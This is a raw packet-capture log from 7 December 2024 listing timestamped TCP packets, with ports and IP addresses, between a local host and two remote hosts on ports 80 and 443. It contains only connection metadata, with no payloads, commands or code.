Dec 7, 2024 17:35:58.633146048 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.633238077 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.633933067 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.634108067 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.634150982 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.634819984 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.635067940 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.635163069 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.635744095 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.635909081 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.635952950 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.636646032 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.636805058 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.636854887 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.637620926 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.637734890 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.637815952 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.638495922 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.638763905 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.638861895 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.639394999 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.639558077 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.639636993 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.640296936 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.640470028 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.640510082 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.641279936 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.641401052 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.641547918 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.642743111 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.642894983 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.642945051 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.643173933 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.643481970 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.644022942 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.644078970 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.644151926 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.644200087 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.644967079 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.645107985 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.645924091 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.645958900 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.646080971 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.646166086 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.646770000 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.646981001 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.647047043 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.647763968 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.647890091 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.647927999 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.648597956 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.648761034 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.648813963 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.649538994 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.649679899 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.649718046 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.650434971 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.650582075 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.650744915 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.651364088 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.651518106 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.651657104 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.652275085 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.652502060 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.652672052 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.652806997 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.653234005 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.653393984 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.653434992 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.654417992 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.654576063 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.654613972 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.655045033 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.655186892 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.655467987 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.655937910 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.656117916 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.656152010 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.656847000 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.657026052 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.657062054 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.657886028 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.658104897 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.658150911 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.658792019 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.658982038 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.659317017 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.659643888 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.659806013 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.659868002 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.660653114 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.660773993 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.660818100 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.661434889 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.661597967 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.661649942 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.662381887 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.662560940 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.662595987 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.663269043 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.663439989 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.663475990 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.664213896 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.664393902 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.664427996 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.664854050 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.665121078 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.665308952 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.666037083 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.666074038 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.679522991 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.735152960 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.790776968 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.790946960 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.791096926 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.791250944 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.791542053 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.791627884 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.792174101 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.792315960 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.792377949 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.793052912 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.801692963 CET	443	49803	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:58.810451984 CET	443	49803	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:58.810523033 CET	49803	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:58.810695887 CET	49803	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:58.810719013 CET	443	49803	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:58.810719967 CET	49803	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:58.810724974 CET	443	49803	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:58.813218117 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.813283920 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.813384056 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.813477993 CET	49808	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:58.813503981 CET	443	49808	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:58.813569069 CET	49808	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:58.813711882 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.813780069 CET	49808	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:58.813780069 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.813790083 CET	443	49808	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:58.814003944 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.814790964 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.814837933 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.815187931 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.815300941 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.815377951 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.815932035 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.816165924 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.816210985 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.816445112 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.816652060 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.816689014 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.817399979 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.817516088 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.817611933 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.818165064 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.818351984 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.818409920 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.819139957 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.819339991 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.819376945 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.820074081 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.820225954 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.821013927 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.821060896 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.821115017 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.822170973 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.822232962 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.822379112 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.822417021 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.822937012 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.823071957 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.823111057 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.823797941 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.823911905 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.823949099 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.824744940 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.824899912 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.824955940 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.825680017 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.825835943 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.825870991 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.826582909 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.826826096 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.827310085 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.827482939 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.827620983 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.827667952 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.828413010 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.828531027 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.828629971 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.829204082 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.829339027 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.829380989 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.830120087 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.830281973 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.830313921 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.831067085 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.831334114 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.831379890 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.831990004 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.832184076 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.832231045 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.832880020 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.833029032 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.833075047 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.833836079 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.833966970 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.834003925 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.834755898 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.834923983 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.834939003 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.834968090 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.835743904 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.835859060 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.835908890 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.836610079 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.836756945 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.836803913 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.837471962 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.837661028 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.837709904 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.838408947 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.838562012 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.838604927 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.839329958 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.839452028 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.839497089 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.840313911 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.840394974 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.840429068 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.841147900 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.841316938 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.841406107 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.842082977 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.842231035 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.842938900 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.842969894 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.843127966 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.843172073 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.843895912 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.844177961 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.844216108 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.844809055 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.844973087 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.845037937 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.845743895 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.845896006 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.845932961 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.846679926 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.846816063 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.846854925 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.847738981 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.848156929 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.848201036 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.848505974 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.848762035 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.848800898 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.849426985 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.849595070 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.849646091 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.850341082 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.850514889 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.850557089 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.851212025 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.851486921 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.851542950 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.852165937 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.852395058 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.852443933 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.853094101 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.853256941 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.853395939 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.854022980 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.854149103 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.854355097 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.854975939 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.855083942 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.855124950 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.855858088 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.856065035 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.856762886 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.856813908 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.856918097 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.857671022 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.857716084 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.857806921 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.858172894 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.865207911 CET	443	49807	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:58.865739107 CET	49807	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:58.865753889 CET	443	49807	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:58.866180897 CET	49807	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:58.866185904 CET	443	49807	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:58.874279976 CET	443	49806	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:58.874602079 CET	49806	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:58.874609947 CET	443	49806	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:58.874933004 CET	49806	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:58.874937057 CET	443	49806	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:58.886729956 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.982810020 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.982976913 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.983038902 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.983299017 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.983527899 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.983604908 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.983952999 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.984158993 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.984201908 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.984890938 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.984997988 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:58.985052109 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.998266935 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:58.999960899 CET	443	49804	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:59.002964020 CET	443	49804	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:59.003025055 CET	49804	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:59.003079891 CET	49804	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:59.003087997 CET	443	49804	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:59.003098965 CET	49804	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:59.003104925 CET	443	49804	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:59.005285025 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.005405903 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.005480051 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.005597115 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.005796909 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.005799055 CET	49809	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:59.005831957 CET	443	49809	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:59.005845070 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.005909920 CET	49809	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:59.006045103 CET	49809	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:59.006057024 CET	443	49809	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:59.006666899 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.006963015 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.007044077 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.007425070 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.007642031 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.007767916 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.008058071 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.008295059 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.008342028 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.008676052 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.009018898 CET	80	49802	185.215.113.16	192.168.2.7
